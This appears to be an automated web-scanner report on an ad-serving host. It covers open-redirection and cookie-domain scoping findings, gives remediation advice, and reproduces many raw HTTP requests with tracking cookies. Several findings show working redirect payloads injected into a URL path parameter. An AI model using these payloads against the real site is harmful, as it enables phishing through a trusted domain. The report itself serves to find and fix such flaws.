Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.
Issue remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:
Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.
The value of REST URL parameter 3 is used to perform an HTTP redirect. The payload http%3a//ab5c05f8be0257f29/a%3fhttp%3a was submitted in the REST URL parameter 3. This caused a redirection to the following URL:
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http%3a//ab5c05f8be0257f29/a%3fhttp%3a/t.mookie1.com/t/v1/clk HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is used to perform an HTTP redirect. The payload http%3a//a15c68dbdb35dc3b6/a%3fhttp%3a was submitted in the REST URL parameter 3. This caused a redirection to the following URL:
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http%3a//a15c68dbdb35dc3b6/a%3fhttp%3a/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is used to perform an HTTP redirect. The payload http%3a//ad97bba2a29a29e53/a%3fhttp%3a was submitted in the REST URL parameter 3. This caused a redirection to the following URL:
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http%3a//ad97bba2a29a29e53/a%3fhttp%3a/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/a7mNvB0GM0YcJY1cZbpnqvW2UQVWbMAUAQYQav0ScUrQtbx1dvqWP3N2GY50UYZcVATv4PZb8PmbE2dYn1dnLpdTM36MY5V3aVcQjWcF7SAFOWtY3Ubb45bEqWEUoVaJdQaZbZcRGJZbQU6vPWM8WcU25rmsndeO0tqIwxZbMVw/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/jump/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aUmNQC5EY73tyM4A7JnUbZbYGvUXc3XXGnwmaZbU5U3QVUFHWP72PT33QcYpSdUM0dBsVmrp2cYVYrYATPys4AZbgQPMF4WUn0dBKpdZay3PvY4Vb7VcQdVsMeSPYyUWY3Ur7S3UaoVEYpTTBaPE3JQcjKQUIoPH7WnHRP4p/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
